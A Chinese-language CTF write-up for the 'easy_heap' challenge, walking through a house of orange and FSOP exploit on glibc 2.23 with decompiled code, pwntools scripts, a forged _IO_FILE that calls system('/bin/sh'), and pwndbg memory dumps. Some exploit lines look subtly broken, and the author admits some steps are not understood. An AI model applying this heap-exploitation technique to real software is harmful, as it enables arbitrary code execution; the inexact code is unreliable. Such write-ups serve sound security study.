easy_heap
house of orange
ida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| unsigned __int64 add() { unsigned int v0; _DWORD size[7];
*&size[1] = __readfsqword(0x28u); size[0] = 0; if ( chunk_number > 0x20 ) { puts("too much"); exit(0); } puts("Size :"); __isoc99_scanf("%d", size); if ( size[0] > 0x1000u ) { puts("too large"); exit(0); } chunk_size[chunk_number] = size[0]; v0 = chunk_number; *(&chunk_ptr + v0) = malloc(size[0]); puts("Content :"); read(0, *(&chunk_ptr + chunk_number), size[0]); ++chunk_number; return __readfsqword(0x28u) ^ *&size[1]; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned __int64 edit() { unsigned int v1; _DWORD nbytes[3];
*&nbytes[1] = __readfsqword(0x28u); v1 = 0; nbytes[0] = 0; puts("Index :"); __isoc99_scanf("%d", &v1); puts("Size :"); __isoc99_scanf("%d", nbytes); if ( nbytes[0] > 0x1000u ) { puts("too large"); exit(0); } puts("Content :"); read(0, *(&chunk_ptr + v1), nbytes[0]); return __readfsqword(0x28u) ^ *&nbytes[1]; }
|
1 2 3 4 5 6 7 8 9 10 11 12
| unsigned __int64 show() { unsigned int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); v1 = 0; puts("Index :"); __isoc99_scanf("%d", &v1); write(1, *(&chunk_ptr + v1), 8uLL); return __readfsqword(0x28u) ^ v2; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| def choice(choice): ru(b'>') sl(str(choice).encode())
def add(size, content): choice(1) ru(b"Size :") sl(str(size).encode()) ru(b"Content :") s(content)
def edit(ind, size, content): choice(2) ru(b"Index :") sl(str(ind).encode()) ru(b"Size :") sl(str(size).encode()) ru(b"Content :") sl(content)
def show(ind): ru(b"Index :") sl(str(ind).encode())
|
简单分析一下,没有free,edit有堆溢出,没有free,show的时候没有检验,可以在chunk_ptr附近任意show,只能用house of orange
1.house of orange
house of orange 指的是在2.23版本的堆中,没有free函数的情况下利用修改top chunk的size来将top chunk置入unsorted bin的chunk的一种攻击手法,主要需要绕过以下几个检验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
第一个断言:
前半部分是初始化堆时的验证,后半部分要求top chunk size要大于等于0x10,prev_inuse位为1,并且申请完之后的top chunk地址要末三位与页对齐
第二个断言:
要求size要小于分配的size+0x10

对齐0xfe1(1是prev_size),fake_size这里选择0xfe1
1 2
| edit(0, 0x20, b'a' * 0x18 + p64(0xfe1)) add(0x1000, b'bbbb\n')
|
伪造成功后再申请chunk,top chunk就会进入unsorted bin

没有用calloc,所以再申请一个chunk就能申请出存放着main_arena+88的chunk 2
show 2就能泄露libc_base
1 2 3 4 5 6 7
| add(0x10, b'aaaa\n') edit(0, 0x20, b'a' * 0x18 + p64(0xfe1)) add(0x1000, b'bbbb\n') add(0x10, b'1') show(2) libc_base = uu64() - 0x3c5131 lg("libc_base")
|
2.不懂

利用堆溢出将unsorted bin: topchunk的bk覆盖到chunk_ptr+80,将chunk 3 add到这里,算好偏移为96,把他show出来
1 2 3 4 5 6 7 8 9
| chunk_ptr = 0x4040e0
payload = b'c' * 0x18 + p64(0xfa1) + p64(0) + p64(chunk_ptr + 0x50) edit(2, len(payload), payload) add(0xf90, b'dddd') show(12) io.recv() heap_addr = u64(r(8) - 0x22010) lg("heap_addr")
|
Q:为什么这里能泄露出heap_array?
A:在申请完chunk 3后,chunk 3里是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| pwndbg> x/64gx 0x404130 - 80 0x4040e0 <chunk_ptr>: 0x0000000000411010 0x0000000000432010 0x4040f0 <chunk_ptr+16>: 0x0000000000411030 0x0000000000411050 0x404100 <chunk_ptr+32>: 0x0000000000000000 0x0000000000000000 0x404110 <chunk_ptr+48>: 0x0000000000000000 0x0000000000000000 0x404120 <chunk_ptr+64>: 0x0000000000000000 0x0000000000000000 0x404130 <chunk_ptr+80>: 0x0000000000000000 0x0000000000000000 0x404140 <chunk_ptr+96>: 0x00007f41911c4b78 0x0000000000000000 # main_arena+88 0x404150 <chunk_ptr+112>: 0x0000000000000000 0x0000000000000000 pwndbg> tele 0x00007f41911c4b78 00:0000│ 0x7f41911c4b78 —▸ 0x433010 ◂— 0x0 01:0008│ 0x7f41911c4b80 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc') 02:0010│ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc') 03:0018│ 0x7f41911c4b90 —▸ 0x404130 (chunk_ptr+80) ◂— 0x0 04:0020│ 0x7f41911c4b98 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc') 05:0028│ 0x7f41911c4ba0 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc') 06:0030│ 0x7f41911c4ba8 —▸ 0x7f41911c4b98 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc') 07:0038│ 0x7f41911c4bb0 —▸ 0x7f41911c4b98 —▸ 0x7f41911c4b88 —▸ 0x411040 ◂— 0x6363636363636363 ('cccccccc') pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x411000 Size: 0x20 (with flag bits: 0x21) pwndbg> p/x 0x433010 - 0x411000 $1 = 0x22010
|
show(12)会打印*(&chunk_ptr + 12),而此时main_arena+88里存的是0x433010,计算可知heap_base = 0x433010 - 0x22010
这时,edit(12)修改的是main_arena+88附近的值
1 2 3 4
| payload = p64(heap_addr + 0x22010) + p64(heap_addr + 0x40) * 3 edit(12, len(payload), payload) payload = cyclic(0x18) + p64(0xfa1) + p64(libc_base + 0x3c4b78) * 2 edit(2, len(payload), payload)
|
这里有个疑问,为什么将main_arena+88
覆盖为heap_addr+0x22010
的地址,后面三位覆盖为heap_addr + 0x40
的地址,再将unsortedbin
也就是topchunk
的fd
和bk
改为main_arena+88
之后,main_arena+88
就会恢复为topchunk
的地址,整个堆就跟wp所说的一样恢复正常了
接下来,我们需要通过unsorted bin attack
将_IO_list_all
内容从_IO_2_1_stderr_
改为main_arena+88
(实则指向top chunk
)
3.劫持vtable
首先得知道,_IO_list_all
作为一个链表表头符号,记录了具体的 IO_FILE_plus
地址,此时的第一个就是 stderr
,而剩余的文件通过 _chain
连接,也就是说,在寻找 _IO_2_1_stderr_
->
_IO_2_1_stdout_
->
_IO_2_1_stdin_
的过程中是通过 _chain
来搜索下一个_IO_FILE_plus
的
在_IO_FILE_plus
结构体中,_chain
的偏移为0x68
。假设_IO_FILE_plus
已经指向了top chunk
,那么topchunk
开始0x8
单位的last_remainder
(或者说prev_size
)就对应_flags
,topchunk
的size
对应_IO_read_ptr
,topchunk
的fd
与bk
指针,对应_IO_read_end
和_IO_read_ptr
,共0x10
大小,再之后为small bin
中的指针(每个small bin
有fd
与bk
指针,共0x10
个单位),剩下0x50
的单位,从smallbin[0]
正好分配到 smallbin[4]
(准确说为其fd
字段),大小就是从0x20
到0x60
,而smallbin[4]
的fd
字段中的内容为该链表中最靠近表头的small bin
的地址 (chunk header
),因此0x60
的small bin
的地址即为fake struct
的_chain
中的内容,只需要控制该0x60
的small bin
(以及其下面某些堆块)中的部分内容,就可以控制_chain
的指向
FSOP
的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE_plus
项,但是单纯的伪造只是构造了数据还需要某种方法进行触发,FSOP
选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 _IO_FILE_plus
调用 fflush,也对应着会调用_IO_FILE_plus->vtable
中的_IO_overflow
。
我们又知道此时topchunk
位于unsortedbin
中,也就是说只要我们把topchunk
的size
覆盖为0x60,然后申请一个任意大小的堆块(但不能是0x60
,也不能在fastbin
中),就会出现神奇的效果(请结合下面的payload看):
1.topchunk
自己因为大小不匹配,会进入0x60
大小的smallbins
中
2.我们知道unsortedbin
取出时可以触发 unsortedbin attack
,unsortedbin attack
在这里的效果就是会往topchunk
的bk
里写入main_arena+88
,也就是往_IO_list_all
中写入main_arena+88
,也就是说,此时的_IO_list_all
指向的第一个_IO_FILE_plus
,就是main_arena+88
,
而main_arena+88
+0x68
(_IO_FILE_plus->_chain
的位置)是smallbin[4]
(存放的是0x60大小smallbins
的地址),在这里因为第一步的原因已经存放了topchunk
的地址,也就是说,main_arena+88
这个_IO_FILE_plus
的下一个_IO_FILE_plus
就是topchunk
那么,我们将topchunk+0xd8
(*vtable
)的位置劫持,我们就劫持了vtable
,如果我们将vtable
劫持为topchunk+0xd8
,那么topchunk+0xd8+0x18
的地方就存放着vtable->overflow
这么一个指针,或者说,topchunk+0xd8
这里,存放着一张虚表,里面存放了各种函数指针,2.23版本中可以用到有关overflow
的调用链,所以我们使用这个指针
3.遍历unsortedbin
时会查找topchunk
的bk
,此地址中存放的并不是一个合法的堆块,所以会触发
malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_file_jumps = libc_base + libc.sym['_IO_file_jumps'] lg("IO_list_all") lg('_IO_file_jumps') system_addr = libc_base + libc.sym['system']
payload = cyclic(0x10) fake_file = b'/bin/sh\x00' + p64(0x61) fake_file += p64(0) + p64(IO_list_all - 0x10) fake_file += p64(0) + p64(1) fake_file = fake_file.ljust(0xd8, b'\x00') payload += fake_file + p64(heap_addr + 0x118) payload += p64(0) * 2 + p64(system_addr)
edit(2, len(payload), payload) ru(b'>') sl(b'1') ru(b"Size :") sl(b'32')
ia()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x95f000 Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE Addr: 0x95f020 Size: 0x20 (with flag bits: 0x21)
Free chunk (unsortedbin) Addr: 0x95f040 Size: 0x60 (with flag bits: 0x61) fd: 0x00 bk: 0x7fa93c7c5510
Allocated chunk Addr: 0x95f0a0 Size: 0x00 (with flag bits: 0x00)
pwndbg> x/96gx 0x95f040 0x95f040: 0x0068732f6e69622f 0x0000000000000061 # /bin/sh fake_size 0x95f050: 0x0000000000000000 0x00007fa93c7c5510 # fd _IO_list_all-0x10(bk) 0x95f060: 0x0000000000000000 0x0000000000000001 # io_write_base io_write_ptr 0x95f070: 0x0000000000000000 0x0000000000000000 0x95f080: 0x0000000000000000 0x0000000000000000 0x95f090: 0x0000000000000000 0x0000000000000000 0x95f0a0: 0x0000000000000000 0x0000000000000000 0x95f0b0: 0x0000000000000000 0x0000000000000000 0x95f0c0: 0x0000000000000000 0x0000000000000000 0x95f0d0: 0x0000000000000000 0x0000000000000000 0x95f0e0: 0x0000000000000000 0x0000000000000000 0x95f0f0: 0x0000000000000000 0x0000000000000000 0x95f100: 0x0000000000000000 0x0000000000000000 0x95f110: 0x0000000000000000 0x000000000095f118 # *vtable 0x95f120: 0x0000000000000000 0x0000000000000000 0x95f130: 0x00007fa93c4453a0 0x0000000000000000 # vtable = system 0x95f140: 0x0000000000000000 0x0000000000000000
|
payload编写时要绕过的检测
如果你耐心的将上面的利用原理看完了,不要着急,这里glibc还做了简单的检测,仔细观察我的payload,你会发现io_write_base
是0,io_write_ptr
是1,这是因为_IO_flush_all_lockp
函数中对这两个的大小进行了判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } }
|
同时这里还规定了mode
要<=0
,这个好像没办法操作,只能看运气,听说是二分之一的概率能打通
